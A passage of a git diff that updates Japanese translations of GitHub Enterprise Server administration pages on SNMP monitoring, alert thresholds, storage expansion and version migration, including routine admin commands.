+SNMP とは、ネットワーク経由でデバイスを監視するための一般的基準です。 {% data variables.product.product_location %}のj状態を監視可能にし、いつホストのマシンにメモリやストレージ、処理能力を追加すべきかを知るために、SNMP を有効にすることを強くおすすめします。
 
-## Configuring SNMP v2c
+{% data variables.product.prodname_enterprise %} には標準の SNMP がインストールされているので、Nagios などのモニタリングシステムに対して利用可能な[数多くのプラグイン](http://www.monitoring-plugins.org/doc/man/check_snmp.html)を活用できます。
+
+## SNMP v2c を設定
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.access-monitoring %}
 {% data reusables.enterprise_management_console.enable-snmp %}
-4. In the **Community string** field, enter a new community string. If left blank, this defaults to `public`.
-![Field to add the community string](/assets/images/enterprise/management-console/community-string.png)
+4. **Community string** の欄では、新しいコミュニティ文字列を入力する。 空白のままだと、`public`という設定になります。 ![コミュニティ文字列型を追加するためのフィールド](/assets/images/enterprise/management-console/community-string.png)
 {% data reusables.enterprise_management_console.save-settings %}
-5. Test your SNMP configuration by running the following command on a separate workstation with SNMP support in your network:
+5. SNMP に対応している別のワークステーションで次のコマンドを実行して、SNMP のコンフィグレーションをテストする。
   ```shell
   # community-string is your community string
   # hostname is the IP or domain of your Enterprise instance
   $ snmpget -v 2c -c <em>community-string</em> -O e <em>hostname</em> hrSystemDate.0
   ```
 
-This should return the system time on {% data variables.product.product_location %} host.
+これにより、{% data variables.product.product_location %} ホストでのシステム時刻が返されます。
 
-## User-based security
+## ユーザベースのセキュリティ
 
-If you enable SNMP v3, you can take advantage of increased user based security through the User Security Model (USM). For each unique user, you can specify a security level:
-- `noAuthNoPriv`: This security level provides no authentication and no privacy.
-- `authNoPriv`: This security level provides authentication but no privacy. To query the appliance you'll need a username and password (that must be at least eight characters long). Information is sent without encryption, similar to SNMPv2. The authentication protocol can be either MD5 or SHA and defaults to SHA.
-- `authPriv`: This security level provides authentication with privacy. Authentication, including a minimum eight-character authentication password, is required and responses are encrypted. A privacy password is not required, but if provided it must be at least eight characters long. If a privacy password isn't provided, the authentication password is used. The privacy protocol can be either DES or AES and defaults to AES.
+SNMP v3 を有効にすると、ユーザセキュリティモデル (USM) により、強化されたユーザベースのセキュリティを利用できます。 ユーザごとに、以下のセキュリティレベルを指定できます:
+- `noAuthNoPriv`: このセキュリティレベルは認証もプライバシーも提供しません。
+- `authNoPriv`: このセキュリティレベルは認証を提供しますがプライバシーは提供しません。 アプライアンスを照会するには、ユーザ名とパスワード (最低 8 文字) が必要です。 SNMPv2 と同様に、情報は暗号化されずに送信されます。 可能な認証プロトコルは MD5 または SHA であり、デフォルトは SHA です。
+- `authPriv`: このセキュリティレベルはプライバシーと共に認証を提供します。 8 文字以上の認証パスワードを含む認証が必要であり、返信は暗号化されます。 プライバシーパスワードは必須ではありませんが、指定する場合は 8 文字以上でなければなりません。 プライバシーパスワードが指定されない場合は、認証パスワードが使用されます。 プライバシープロトコルは DES または AES のいずれかが可能であり、デフォルトは AES です。
 
-## Configuring users for SNMP v3
+## SNMP v3 用にユーザーを設定する
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.access-monitoring %}
 {% data reusables.enterprise_management_console.enable-snmp %}
-4. Select **SNMP v3**.
-![Button to enable SNMP v3](/assets/images/enterprise/management-console/enable-snmpv3.png)
-5. In "Username", type the unique username of your SNMP v3 user.
-![Field to type the SNMP v3 username](/assets/images/enterprise/management-console/snmpv3-username.png)
-6. In the **Security Level** dropdown menu, click the security level for your SNMP v3 user.
-![Dropdown menu for the SNMP v3 user's security level](/assets/images/enterprise/management-console/snmpv3-securitylevel.png)
-7. For SNMP v3 users with the `authnopriv` security level:
-  ![Settings for the authnopriv security level](/assets/images/enterprise/management-console/snmpv3-authnopriv.png)
+4. [**SNMP v3**] を選択します。 ![SNMP v3 を有効化するボタン](/assets/images/enterprise/management-console/enable-snmpv3.png)
+5. [Username] に、SNMP v3 ユーザの固有なユーザ名を入力します。 ![SNMP v3 ユーザ名を入力するためのフィールド](/assets/images/enterprise/management-console/snmpv3-username.png)
+6. [**Security Level**] ドロップダウンメニューで、SNMP v3 ユーザ ー用のセキュリティレベルをクリックします。 ![SNMP v3 ユーザのセキュリティレベルを指定するためのドロップダウンメニュー](/assets/images/enterprise/management-console/snmpv3-securitylevel.png)
+7. セキュリティレベルが `authnopriv` である SNMP v3 ユーザの場合: ![セキュリティレベル authnopriv の設定](/assets/images/enterprise/management-console/snmpv3-authnopriv.png)
     - {% data reusables.enterprise_management_console.authentication-password %}
     - {% data reusables.enterprise_management_console.authentication-protocol %}
-8. For SNMP v3 users with the `authpriv` security level:
-  ![Settings for the authpriv security level](/assets/images/enterprise/management-console/snmpv3-authpriv.png)
+8. セキュリティレベルが `authpriv` である SNMP v3 ユーザの場合: ![セキュリティレベル authpriv の設定](/assets/images/enterprise/management-console/snmpv3-authpriv.png)
     - {% data reusables.enterprise_management_console.authentication-password %}
     - {% data reusables.enterprise_management_console.authentication-protocol %}
-    - Optionally, in "Privacy password", type the privacy password.
-    - On the right side of "Privacy password", in the **Protocol** dropdown menu, click the privacy protocol method you want to use.
-9. Click **Add user**.
-![Button to add SNMP v3 user](/assets/images/enterprise/management-console/snmpv3-adduser.png)
+    - 任意で、[Privacy password] にプライバシーパスワードを入力します。
+    - [Privacy password] の右側にある [**Protocol**] ドロップダウンメニューで、使用するプライバシープロトコル方式をクリックします。
+9. [**Add user**] をクリックします。 ![SNMP v3 ユーザを追加するボタン](/assets/images/enterprise/management-console/snmpv3-adduser.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-#### Querying SNMP data
+#### SNMP データの照会
 
-Both hardware and software-level information about your appliance is available with SNMP v3. Due to the lack of encryption and privacy for the `noAuthNoPriv` and `authNoPriv` security levels, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports. We include this table if you're using the `authPriv` security level. For more information, see the "[OID reference documentation](http://oidref.com/1.3.6.1.2.1.25.4)." 
+アプライアンスに関するハードウェアレベルとソフトウェアレベルの両方の情報が SNMP v3 で利用できます。 `noAuthNoPriv` と `authNoPriv` のセキュリティレベルでは暗号化とプライバシーが欠如しているため、結果の SNMP レポートから `hrSWRun` の表 (1.3.6.1.2.1.25.4) は除外されます。 セキュリティレベル `authPriv` を使用している場合は、この表が掲載されます。 詳しい情報については、「[OID のリファレンスドキュメンテーション](http://oidref.com/1.3.6.1.2.1.25.4)」を参照してください。
 
-With SNMP v2c, only hardware-level information about your appliance is available. The applications and services within {% data variables.product.prodname_enterprise %} do not have OIDs configured to report metrics. Several MIBs are available, which you can see by running `snmpwalk` on a separate workstation with SNMP support in your network:
+SNMP v2c では、アプライアンスに関するハードウェアレベルの情報のみが利用できます。 {% data variables.product.prodname_enterprise %} 内のアプリケーションとサービスには、メトリックスを報告するように設定された OID がありません。 いくつかの MIB が利用できます。ネットワーク内において SNMP をサポートしている別のワークステーションで `snmpwalk` を実行することで、利用できる MIB を確認できます。
 
 ```shell
 # community-string is your community string
@@ -82,40 +76,40 @@ With SNMP v2c, only hardware-level information about your appliance is available
 $ snmpwalk -v 2c -c <em>community-string</em> -O e <em>hostname</em>
 ```
 
-Of the available MIBs for SNMP, the most useful is `HOST-RESOURCES-MIB` (1.3.6.1.2.1.25). See the table below for some important objects in this MIB:
+SNMP に対して利用可能な MIB のうち、最も有用なものは `HOST-RESOURCES-MIB` (1.3.6.1.2.1.25) です。 この MIB のいくつかの重要なオブジェクトについては、以下の表を参照してください:
 
-| Name | OID | Description |
-| ---- | --- | ----------- |
-| hrSystemDate.2 | 1.3.6.1.2.1.25.1.2 | The hosts notion of the local date and time of day. |
-| hrSystemUptime.0 | 1.3.6.1.2.1.25.1.1.0 | How long it's been since the host was last initialized. |
-| hrMemorySize.0 | 1.3.6.1.2.1.25.2.2.0 | The amount of RAM on the host. |
-| hrSystemProcesses.0 | 1.3.6.1.2.1.25.1.6.0 | The number of process contexts currently loaded or running on the host. |
-| hrStorageUsed.1 | 1.3.6.1.2.1.25.2.3.1.6.1 | The amount of storage space consumed on the host, in hrStorageAllocationUnits. |
-| hrStorageAllocationUnits.1 | 1.3.6.1.2.1.25.2.3.1.4.1 | The size, in bytes, of an hrStorageAllocationUnit |
+| 名前                         | OID                      | 説明                                       |
+| -------------------------- | ------------------------ | ---------------------------------------- |
+| hrSystemDate.2             | 1.3.6.1.2.1.25.1.2       | ホストから見たローカルの日付と時間。                       |
+| hrSystemUptime.0           | 1.3.6.1.2.1.25.1.1.0     | 前回ホストが起動してからの時間。                         |
+| hrMemorySize.0             | 1.3.6.1.2.1.25.2.2.0     | ホストが持っているRAMの容量。                         |
+| hrSystemProcesses.0        | 1.3.6.1.2.1.25.1.6.0     | 現在、ホストでロードされている、または作動しているプロセスのコンテキストの数。  |
+| hrStorageUsed.1            | 1.3.6.1.2.1.25.2.3.1.6.1 | hrStorageAllocationUnits のホストの使用ストレージ領域。 |
+| hrStorageAllocationUnits.1 | 1.3.6.1.2.1.25.2.3.1.4.1 | hrStorageAllocationUnit のバイトでのサイズ        |
 
-For example, to query for `hrMemorySize` with SNMP v3, run the following command on a separate workstation with SNMP support in your network:
+たとえば、SNMP v3 で `hrMemorySize` を照会するには、ネットワークで SNMP をサポートしている別のワークステーションで次のコマンドを実行します:
 ```shell
-# username is the unique username of your SNMP v3 user
-# auth password is the authentication password
-# privacy password is the privacy password
-# hostname is the IP or domain of your Enterprise instance
+# username はあなたの SNMP v3 ユーザの一意のユーザ名
+# auth password は認証パスワード
+# privacy password はプライバシーパスワード
+# hostname はあなたの Enterprise インスタンスの IP またはドメイン
 $ snmpget -v 3 -u <em>username</em> -l authPriv \
   -A "<em>auth password</em>" -a SHA \
   -X "<em>privacy password</em>" -x AES \
   -O e <em>hostname</em> HOST-RESOURCES-MIB::hrMemorySize.0
 ```
 
-With SNMP v2c, to query for `hrMemorySize`, run the following command on a separate workstation with SNMP support in your network:
+SNMP v2c で `hrMemorySize` を照会するには、ネットワークで SNMP をサポートしている別のワークステーションで次のコマンドを実行します:
 ```shell
-# community-string is your community string
-# hostname is the IP or domain of your Enterprise instance
+# community-string はあなたのコミュニティ文字列
+# hostname はあなたの Enterprise インスタンスの IP またはドメイン
 snmpget -v 2c -c <em>community-string</em> <em>hostname</em> HOST-RESOURCES-MIB::hrMemorySize.0
 ```
 
 {% tip %}
 
-**Note:** To prevent leaking information about services running on your appliance, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports unless you're using the `authPriv` security level with SNMP v3. If you're using the `authPriv` security level, we include the `hrSWRun` table.
+**注釈:** アプライアンスで実行中のサービスに関する情報の漏洩を防ぐために、SNMP v3 でセキュリティレベル `authPriv` を使用していない限り、結果の SNMP レポートから `hrSWRun` の表 (1.3.6.1.2.1.25.4) は除外されます。 セキュリティレベル `authPriv` を使用している場合は、`hrSWRun` の表が掲載されます。
 
 {% endtip %}
 
-For more information on OID mappings for common system attributes in SNMP, see "[Linux SNMP OID’s for CPU, Memory and Disk Statistics](http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html)".
+SNMP での一般的なシステム属性に対する OID マッピングの詳しい情報については、「[CPU、メモリ、ディスクの統計情報に対する Linux SNMP OID](http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html)」を参照してください。
diff --git a/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md b/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
index fff12c9155..cdf93052b6 100644
--- a/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
+++ b/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
@@ -1,6 +1,6 @@
 ---
-title: Recommended alert thresholds
-intro: 'You can configure an alert to notify you of system resource issues before they affect your {% data variables.product.prodname_ghe_server %} appliance''s performance.'
+title: アラートの推奨閾値
+intro: '{% data variables.product.prodname_ghe_server %} アプライアンスのパフォーマンスに影響を与える前に、システムリソースの問題を通知するようにアラートを設定できます。'
 redirect_from:
   - /enterprise/admin/guides/installation/about-recommended-alert-thresholds
   - /enterprise/admin/installation/about-recommended-alert-thresholds
@@ -16,37 +16,38 @@ topics:
   - Monitoring
   - Performance
   - Storage
-shortTitle: Recommended alert thresholds
+shortTitle: アラートの推奨閾値
 ---
-## Monitoring storage
 
-We recommend that you monitor both the root and user storage devices and configure an alert with values that allow for ample response time when available disk space is low.
+## ストレージのモニタリング
 
-| Severity | Threshold |
-| -------- | --------- |
-| **Warning** | Disk use exceeds 70% of total available |
-| **Critical** | Disk use exceeds 85% of total available |
+ルート及びユーザストレージデバイスの両方をモニタリングし、利用可能なディスク領域が少なくなったときに十分な対応時間が持てるような値でアラートを設定することをおすすめします。
 
-You can adjust these values based on the total amount of storage allocated, historical growth patterns, and expected time to respond. We recommend over-allocating storage resources to allow for growth and prevent the downtime required to allocate additional storage.
+| 重要度          | 閾値                   |
+| ------------ | -------------------- |
+| **Warning**  | ディスクの使用量が総容量の70%を超えた |
+| **Critical** | ディスクの使用量が総容量の85%を超えた |
 
-## Monitoring CPU and load average usage
+これらの値は、割り当てられたストレージの総量、過去の増大パターン、対応が求められる時間に基づいて調整できます。 ストレージリソースは、増加を許容し、追加ストレージの割り当てに必要なダウンタイムを回避するために、多めに割り当てておくことをおすすめします。
 
-Although it is normal for CPU usage to fluctuate based on resource-intense Git operations, we recommend configuring an alert for abnormally high CPU utilization, as prolonged spikes can mean your instance is under-provisioned. We recommend monitoring the fifteen-minute system load average for values nearing or exceeding the number of CPU cores allocated to the virtual machine.
+## CPUとロードアベレージのモニタリング
 
-| Severity | Threshold |
-| -------- | --------- |
-| **Warning** | Fifteen minute load average exceeds 1x CPU cores |
-| **Critical** | Fifteen minute load average exceeds 2x CPU cores |
+リソース集約的なGitの操作によってCPUの利用状況が変動するのは通常のことですが、異常に高いCPU利用状況にはアラートを設定することをおすすめします。これは、長引くスパイクはインスタンスのプロビジョニングが不足しているということかもしれないためです。 15分間のシステムロードアベレージが、仮想マシンに割り当てられたCPUコア数に近いかそれを超える値になっていないかをモニタリングすることをおすすめします。
 
-We also recommend that you monitor virtualization "steal" time to ensure that other virtual machines running on the same host system are not using all of the instance's resources.
+| 重要度          | 閾値                         |
+| ------------ | -------------------------- |
+| **Warning**  | 15分間のロードアベレージが1x CPUコアを超える |
+| **Critical** | 15分間のロードアベレージが2x CPUコアを超える |
 
-## Monitoring memory usage
+また、仮想化の"steal"時間をモニタリングして、同一ホスト上で動作している他の仮想マシンがインスタンスのリソースをすべて使ってしまっていることがないことを確認するようおすすめします。
 
-The amount of physical memory allocated to {% data variables.product.product_location %} can have a large impact on overall performance and application responsiveness. The system is designed to make heavy use of the kernel disk cache to speed up Git operations. We recommend that the normal RSS working set fit within 50% of total available RAM at peak usage.
+## メモリの利用状況のモニタリング
 
-| Severity | Threshold |
-| -------- | --------- |
-| **Warning**  | Sustained RSS usage exceeds 50% of total available memory |
-| **Critical** | Sustained RSS usage exceeds 70% of total available memory |
+{% data variables.product.product_location %}に割り当てられている物理メモリの量は、全体的なパフォーマンスとアプリケーションの反応性に大きな影響があります。 システムは、Gitの処理を高速化するためにカーネルのディスクキャッシュを頻繁に利用するよう設計されています。 ピークの利用状況で、通常のRSSワーキングセットがRAMの総容量の50%以内に収まるようにすることをおすすめします。
 
-If memory is exhausted, the kernel OOM killer will attempt to free memory resources by forcibly killing RAM heavy application processes, which could result in a disruption of service. We recommend allocating more memory to the virtual machine than is required in the normal course of operations.
+| 重要度          | 閾値                              |
+| ------------ | ------------------------------- |
+| **Warning**  | 持続的にRSSの利用状況が利用可能なメモリ総量の50%を超える |
+| **Critical** | 持続的にRSSの利用状況が利用可能なメモリ総量の70%を超える |
+
+メモリが使い切られると、カーネルOOMキラーはRAMを大量に使っているアプリケーションプロセスを強制的にkillしてメモリリソースを解放しようとします。これは、サービスの中断につながることがあります。 通常の処理の状況で必要になる以上のメモリを仮想マシンに割り当てることをおすすめします。
diff --git a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
index b17df486d0..383cc400e8 100644
--- a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
+++ b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
@@ -1,6 +1,6 @@
 ---
-title: Increasing storage capacity
-intro: 'You can increase or change the amount of storage available for Git repositories, databases, search indexes, and other persistent application data.'
+title: ストレージ容量の増加
+intro: Gitリポジトリ、データベース、検索インデックス、その他の恒久的なアプリケーションデータに利用できるストレージの量は、追加あるいは変更できます。
 redirect_from:
   - /enterprise/admin/installation/increasing-storage-capacity
   - /enterprise/admin/enterprise-management/increasing-storage-capacity
@@ -15,56 +15,57 @@ topics:
   - Storage
 shortTitle: Increase storage capacity
 ---
+
 {% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %}
 
-As more users join {% data variables.product.product_location %}, you may need to resize your storage volume. Refer to the documentation for your virtualization platform for information on resizing storage.
+{% data variables.product.product_location %}に参加するユーザが増えるにつれて、ストレージボリュームをリサイズする必要があるかもしれません。 ストレージのリサイズに関する情報については、使用している仮想化プラットフォームのドキュメンテーションを参照してください。
 
-## Requirements and recommendations
+## 要求及び推奨事項
 
 {% note %}
 
-**Note:** Before resizing any storage volume, put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+**Note:** Before resizing any storage volume, put your instance in maintenance mode. 詳しい情報については"[メンテナンスモードの有効化とスケジューリング](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)"を参照してください。
 
 {% endnote %}
 
-### Minimum requirements
+### 最小要件
 
 {% data reusables.enterprise_installation.hardware-rec-table %}
 
-## Increasing the data partition size
+## データパーティションサイズの増加
 
-1. Resize the existing user volume disk using your virtualization platform's tools.
+1. 仮想化プラットフォームのツールを使用して、既存のユーザーボリュームのディスクのサイズを変更します。
 {% data reusables.enterprise_installation.ssh-into-instance %}
-3. Put the appliance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
-4. Reboot the appliance to detect the new storage allocation:
+3. アプライアンスをメンテナンスモードにしてください。 詳しい情報については"[メンテナンスモードの有効化とスケジューリング](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)"を参照してください。
+4. アプライアンスを再起動して、新しいストレージ割り当てを検出します。
   ```shell
   $ sudo reboot
   ```
-5. Run the `ghe-storage-extend` command to expand the `/data/user` filesystem:
+5. `ghe-storage-extend` コマンドを実行して、`/data/user` のファイルシステムを拡張します。
   ```shell
   $ ghe-storage-extend
   ```
 
-## Increasing the root partition size using a new appliance
+## 新しいアプライアンスを使用したルートパーティションサイズの増加
 
-1. Set up a new {% data variables.product.prodname_ghe_server %} instance with a larger root disk using the same version as your current appliance. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)."
-2. Shut down the current appliance:
+1. 現在のアプライアンスと同じバージョンを使用して、より大きなルートディスクで新たな {% data variables.product.prodname_ghe_server %} をセットアップします。 詳細は「[{% data variables.product.prodname_ghe_server %} インスタンスをセットアップする](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)」を参照してください。
+2. 現在のアプライアンスをシャットダウンします。
   ```shell
   $ sudo poweroff
   ```
-3. Detach the data disk from the current appliance using your virtualization platform's tools.
-4. Attach the data disk to the new appliance with the larger root disk.
+3. 使用している仮想化プラットフォームのツールを使い、現在のアプライアンスからデータディスクをデタッチします。
+4. 大きなルートディスクを持つ新しいアプライアンスにデータディスクをアタッチします。
 
-## Increasing the root partition size using an existing appliance
+## 既存のアプライアンスを使用したルートパーティションサイズの増加
 
 {% warning %}
 
-**Warning:** Before increasing the root partition size, you must put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+**Warning:** Before increasing the root partition size, you must put your instance in maintenance mode. 詳しい情報については"[メンテナンスモードの有効化とスケジューリング](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)"を参照してください。
 
 {% endwarning %}
 
-1. Attach a new disk to your {% data variables.product.prodname_ghe_server %} appliance.
-1. Run the `parted` command to format the disk:
+1. {% data variables.product.prodname_ghe_server %} アプライアンスに新しいディスクを取り付けます。
+1. `parted` コマンドを実行して、ディスクをフォーマットします。
   ```shell
   $ sudo parted /dev/xvdg mklabel msdos
   $ sudo parted /dev/xvdg mkpart primary ext4 0% 50%
@@ -75,18 +76,18 @@ As more users join {% data variables.product.product_location %}, you may need t
    ```shell
    $ ghe-repl-stop
    ```
-   
-1. Run the `ghe-upgrade` command to install a full, platform specific package to the newly partitioned disk. A universal hotpatch upgrade package, such as `github-enterprise-2.11.9.hpkg`, will not work as expected. After the `ghe-upgrade` command completes, application services will automatically terminate.
+
+1. `ghe-upgrade` コマンドを実行して、完全なプラットフォーム固有のパッケージを新たにパーティション分割されたディスクにインストールします。 `github-enterprise-2.11.9.hpkg` などのユニバーサルなホットパッチのアップブレードパッケージは、期待通りに動作しません。 After the `ghe-upgrade` command completes, application services will automatically terminate.
 
   ```shell
   $ ghe-upgrade PACKAGE-NAME.pkg -s -t /dev/xvdg1
   ```
-1. Shut down the appliance:
+1. アプライアンスをシャットダウンします。
   ```shell
   $ sudo poweroff
   ```
-1. In the hypervisor, remove the old root disk and attach the new root disk at the same location as the old root disk.
-1. Start the appliance.
-1. Ensure system services are functioning correctly, then release maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+1. ハイパーバイザーで、古いルートディスクを取り外し、古いルートディスクと同じ場所に新しいルートディスクを取り付けます。
+1. アプライアンスを起動します。
+1. Ensure system services are functioning correctly, then release maintenance mode. 詳しい情報については"[メンテナンスモードの有効化とスケジューリング](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)"を参照してください。
 
 If your appliance is configured for high-availability or geo-replication, remember to start replication on each replica node using `ghe-repl-start` after the storage on all nodes has been upgraded.
diff --git a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
index 126dce06e2..e3b9dbe44a 100644
--- a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
+++ b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
@@ -1,6 +1,6 @@
 ---
-title: Updating the virtual machine and physical resources
-intro: 'Upgrading the virtual software and virtual hardware requires some downtime for your instance, so be sure to plan your upgrade in advance.'
+title: 仮想マシンと物理リソースのアップデート
+intro: 仮想ソフトウェアと仮想ハードウェアをアップグレードするためには、インスタンスのダウンタイムが必要になるので、事前にアップグレードについて計画をしておいてください。
 redirect_from:
   - '/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-the-vm'
   - '/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-physical-resources'
diff --git a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
index 912f655881..b812cd11ac 100644
--- a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
+++ b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
@@ -1,5 +1,5 @@
 ---
-title: Migrating from GitHub Enterprise 11.10.x to 2.1.23
+title: GitHub Enterprise 11.10.xから2.1.23への移行
 redirect_from:
   - /enterprise/admin/installation/migrating-from-github-enterprise-1110x-to-2123
   - /enterprise/admin-guide/migrating
@@ -10,7 +10,7 @@ redirect_from:
   - /enterprise/admin/guides/installation/migrating-from-github-enterprise-11-10-x-to-2-1-23
   - /enterprise/admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123
   - /admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123
-intro: 'To migrate from {% data variables.product.prodname_enterprise %} 11.10.x to 2.1.23, you''ll need to set up a new appliance instance and migrate data from the previous instance.'
+intro: '{% data variables.product.prodname_enterprise %}11.10.xから2.1.23へ移行するには、新しいアプライアンスのインスタンスをセットアップし、以前のインスタンスからデータを移行しなければなりません。'
 versions:
   ghes: '*'
 type: how_to
@@ -20,52 +20,50 @@ topics:
   - Upgrades
 shortTitle: Migrate from 11.10.x to 2.1.23
 ---
-Migrations from {% data variables.product.prodname_enterprise %} 11.10.348 and later are supported. Migrating from {% data variables.product.prodname_enterprise %} 11.10.348 and earlier is not supported. You must first upgrade to 11.10.348 in several upgrades. For more information, see the 11.10.348 upgrading procedure, "[Upgrading to the latest release](/enterprise/11.10.340/admin/articles/upgrading-to-the-latest-release/)."
 
-To upgrade to the latest version of {% data variables.product.prodname_enterprise %}, you must first migrate to {% data variables.product.prodname_ghe_server %} 2.1, then you can follow the normal upgrade process. For more information, see "[Upgrading {% data variables.product.prodname_enterprise %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)".
+{% data variables.product.prodname_enterprise %}11.10.348以降からの移行がサポートされています。 {% data variables.product.prodname_enterprise %}11.10.348以前からの移行はサポートされていません。 いくつかのアップグレードを経て、まず11.10.348にアップグレードしなければなりません。 詳しい情報については11.10.348のアップグレード手順"[最新リリースへのアップグレード](/enterprise/11.10.340/admin/articles/upgrading-to-the-latest-release/)"を参照してください。
 
-## Prepare for the migration
+最新バージョンの {% data variables.product.prodname_enterprise %} にアップグレードするには、まず {% data variables.product.prodname_ghe_server %} 2.1 に移行する必要があります。その後、通常のアップグレードプロセスに従うことができます。 詳細は「[{% data variables.product.prodname_enterprise %} をアップグレードする](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)」参照してください。
 
-1. Review the Provisioning and Installation guide and check that all prerequisites needed to provision and configure {% data variables.product.prodname_enterprise %} 2.1.23 in your environment are met. For more information, see "[Provisioning and Installation](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)."
-2. Verify that the current instance is running a supported upgrade version.
-3. Set up the latest version of the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils).
-    - If you have already configured scheduled backups using {% data variables.product.prodname_enterprise_backup_utilities %}, make sure you have updated to the latest version.
-    - If you are not currently running scheduled backups, set up {% data variables.product.prodname_enterprise_backup_utilities %}.
-4. Take an initial full backup snapshot of the current instance using the `ghe-backup` command. If you have already configured scheduled backups for your current instance, you don't need to take a snapshot of your instance.
+## 移行の準備
+
+1. プロビジョニング及びインストールガイドをレビューし、{% data variables.product.prodname_enterprise %}2.1.23を自分の環境にプロビジョニングして設定するのに必要な条件が満たされているかを確認してください。 詳しい情報については"[プロビジョニングとインストール](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)"を参照してください。
+2. 現在のインスタンスがサポートされているアップグレードバージョンを動作させていることを確認してください。
+3. 最新バージョンの {% data variables.product.prodname_enterprise_backup_utilities %} をセットアップします。 詳細は [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils) を参照してください。
+    - {% data variables.product.prodname_enterprise_backup_utilities %}を使ってすでにスケジューリングされたバックアップを設定しているなら、最新バージョンにアップデートしたことを確認してください。
+    - 現時点でスケジューリングされたバックアップを動作させていないなら、{% data variables.product.prodname_enterprise_backup_utilities %}をセットアップしてください。
+4. `ghe-backup`コマンドを使って、現在のインスタンスの初めてのフルバックアップスナップショットを取ってください。 現在のインスタンスですでにスケジューリングされたバックアップを設定しているなら、インスタンスのスナップショットを取る必要はありません。
 
    {% tip %}
 
-   **Tip:** You can leave the instance online and in active use during the snapshot. You'll take another snapshot during the maintenance portion of the migration. Since backups are incremental, this initial snapshot reduces the amount of data transferred in the final snapshot, which may shorten the maintenance window.
+   **Tip:**スナップショットを取る間は、インスタンスをオンラインのままにして利用し続けられます。 移行作業のメンテナンスモードの間、別のスナップショットを取ることができます。 バックアップはインクリメンタルなので、この初期スナップショットは最終のスナップショットへのデータ転送量を減らしてくれます。それによって、メンテナンスウィンドウが短くなるかもしれません。
 
    {% endtip %}
 
-5. Determine the method for switching user network traffic to the new instance. After you've migrated, all HTTP and Git network traffic directs to the new instance.
-    - **DNS** - We recommend this method for all environments, as it's simple and works well even when migrating from one datacenter to another. Before starting migration, reduce the existing DNS record's TTL to five minutes or less and allow the change to propagate. Once the migration is complete, update the DNS record(s) to point to the IP address of the new instance.
-    - **IP address assignment** - This method is only available on VMware to VMware migration and is not recommended unless the DNS method is unavailable. Before starting the migration, you'll need to shut down the old instance and assign its IP address to the new instance.
